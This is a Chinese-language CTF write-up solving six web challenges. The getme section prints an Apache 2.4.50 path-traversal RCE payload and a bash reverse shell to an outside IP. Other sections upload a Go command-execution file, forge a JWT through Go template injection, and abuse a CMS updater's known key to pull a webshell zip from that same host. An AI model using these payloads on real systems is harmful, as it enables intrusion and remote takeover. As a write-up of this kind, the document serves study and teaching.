目录
Power Cookie
魔法浏览器
getme
hackme
fxxkgo
ezcms
Power Cookie
点击login in by guest后响应头给set了一个admin=0的cookie
魔法浏览器
看到魔法UA
直接在console输出即可
改UA,拿到flag
getme
右键查看源码
抓包看到响应头,Apache版本为2.4.50,这个版本存在一个RCE漏洞
Apache HTTP Server 2.4.50 中的路径遍历和文件泄露漏洞
秒了
payload:
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
echo;bash -c 'bash -i >& /dev/tcp/124.222.136.33/1337 0>&1'
hackme
右键查看源码
点击链接跳转
访问flag拿到假flag
点击users跳转
没users.go就上传一个users.go
package main
import (
"bytes"
"fmt"
"log"
"os/exec"
)
const ShellToUse = "bash"
func Shellout(command string) (error, string, string) {
var stdout bytes.Buffer
var stderr bytes.Buffer
cmd := exec.Command(ShellToUse, "-c", command)
cmd.Stdout = &stdout
cmd.Stderr = &stderr
err := cmd.Run()
return err, stdout.String(), stderr.String()
}
func main() {
err, out, errout := Shellout("tac /f*")
if err != nil {
log.Printf("error: %v\n", err)
}
fmt.Println("--- stdout ---")
fmt.Println(out)
fmt.Println("--- stderr ---")
fmt.Println(errout)
}
再访问users
fxxkgo
/路由下有SSTI打入点
浅学Go下的ssti - 知乎
可以恶意构造一个id,从而读出泄露信息
/flag路由下只要is_admin为true就可以读flag
可以看到鉴权都是走X-Token进行jwt解析
注册时传入{{.}}获取当前对象信息,就可获取jwt的secretkey,再令is_admin为true伪造jwt即可获得flag即可
先是在/register注册
再到/auth认证登录拿到token
带着这个token访问/拿到secret key
伪造jwt
带着伪造的jwt访问/flag拿到flag
ezcms
有两个入口文件
访问/admin.php
弱口令admin/123456/123456登录
成功进入后台
把admin目录下的文件拖进seay里扫一下
Update.php下有这段逻辑
逻辑就是从指定url下载文件,并进行解压
sys_auth函数默认$type为0是加密,传入$type为1是解密
默认的$key为常量Mc_Encryption_Key
其值已知
那只要用$type=0默认值,反过来加密我们欲下载恶意文件的url即可
<?php
//encryption_key密钥
define('Mc_Encryption_Key','GKwHuLj9AOhaxJ2');
//字符加密、解密
function sys_auth($string, $type = 0, $key = '', $expiry = 0) {
if(is_array($string)) $string = json_encode($string);
if($type == 1) $string = str_replace('-','+',$string);
$ckey_length = 4;
$key = md5($key ? $key : Mc_Encryption_Key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($type == 1 ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $type == 1 ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($type == 1) {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
$result = substr($result, 26);
$json = json_decode($result,1);
if(!is_numeric($result) && $json){
return $json;
}else{
return $result;
}
}
return '';
}
return str_replace('+', '-', $keyc.str_replace('=', '', base64_encode($result)));
}
$url = "http://124.222.136.33:1337/yjh.zip";
var_dump(sys_auth($url));
起个php服务器(python的起出来content-type不是application/zip)
成功写马,命令执行拿到flag